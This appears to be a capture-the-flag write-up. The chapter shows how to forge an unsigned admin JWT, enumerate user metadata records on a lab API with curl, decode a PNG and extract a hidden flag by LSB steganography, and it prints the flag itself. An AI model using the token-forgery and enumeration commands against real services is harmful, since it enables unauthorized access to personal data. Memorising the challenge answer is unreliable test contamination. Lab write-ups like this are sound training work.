Chapter 4: Hidden Information¶

Hi Senior Researcher,

an unknown perpetrator is attempting to discredit the national research and education network (NREN) and, on their domain theylietoyou.tcc, is publishing entirely unverified hoaxes, fake news, and other thoroughly unscientific content aimed against the mission of the NREN.

Law enforcement authorities have already been informed and they could use your assistance to gather as much information as possible. More information can be found on the website http://theylietoyou.tcc/story-line.

Stay curious!

Solution¶

Flag: FLAG{EcfI-bCKg-7x4I-nYlC}

Starting point¶

From Chapter 3 we had:

Forged ADMIN JWT accepted by untraceable-dev-api.theylietoyou.tcc (no signature verification)
Metadata formula: metaId = 154700 + (userId * 1000) + fieldOffset
Field offsets: FirstName=11, LastName=17, Email=23, Address=41, Sex=53, Data=99
36 users enumerated

Step 1: Enumerate the Data metadata field for all users¶

Using the forged ADMIN token, fetch the Data field (offset=99) for every user:

ADMIN_PAYLOAD=$(echo -n '{"sub":"1","aud":"tcc-api","role":"ADMIN","iss":"http://api.theylietoyou.tcc","exp":9999999999,"iat":1791727865,"jti":"aaaa","username":"admin"}' \
  | base64 -w0 | tr '+/' '-_' | tr -d '=')
ADMIN_TOKEN="eyJhbGciOiJIUzI1NiJ9.${ADMIN_PAYLOAD}.fake"

for uid in $(seq 1 36); do
  metaId=$((154700 + uid * 1000 + 99))
  curl -s "http://untraceable-dev-api.theylietoyou.tcc/api/admin/users/$uid/meta/$metaId" \
    -H "Authorization: Bearer $ADMIN_TOKEN"
done

Most users have ~128-byte base64-encoded encrypted blobs. User 17 (ermartinez) stands out — their Data field contains a much larger base64 string starting with iVBORw0KGgo (PNG magic bytes).

Step 2: Decode the PNG image from ermartinez's Data field¶

curl -s "http://untraceable-dev-api.theylietoyou.tcc/api/admin/users/17/meta/171799" \
  -H "Authorization: Bearer $ADMIN_TOKEN" \
  | python3 -c "
import json, sys, base64
data = json.load(sys.stdin)
with open('ermartinez_data.png', 'wb') as f:
    f.write(base64.b64decode(data['content']))
"

The decoded PNG is a 256x256 image of a flying turtle.

Step 3: Discover the steganography hint in PNG metadata¶

python3 -c "
from PIL import Image
img = Image.open('ermartinez_data.png')
print(img.info)
"

{'Comment': 'c3RlZ2Fuby50aGV5bGlldG95b3UudGNj'}

Decoding the base64 comment:

echo "c3RlZ2Fuby50aGV5bGlldG95b3UudGNj" | base64 -d
# stegano.theylietoyou.tcc

This hints at steganography hidden in the image.

Step 4: Extract the flag via LSB steganography¶

The flag is encoded in the LSBs of all four RGBA channels, read MSB-first:

from PIL import Image

img = Image.open('ermartinez_data.png')
pixels = list(img.getdata())

bits = []
for p in pixels:
    for c in range(4):  # R, G, B, A
        bits.append(str(p[c] & 1))

data = []
for i in range(0, len(bits) - 7, 8):
    byte = int(''.join(bits[i:i+8]), 2)
    data.append(byte)

result = bytes(data)
idx = result.find(b'FLAG')
print(result[idx:idx+26])

FLAG{EcfI-bCKg-7x4I-nYlC}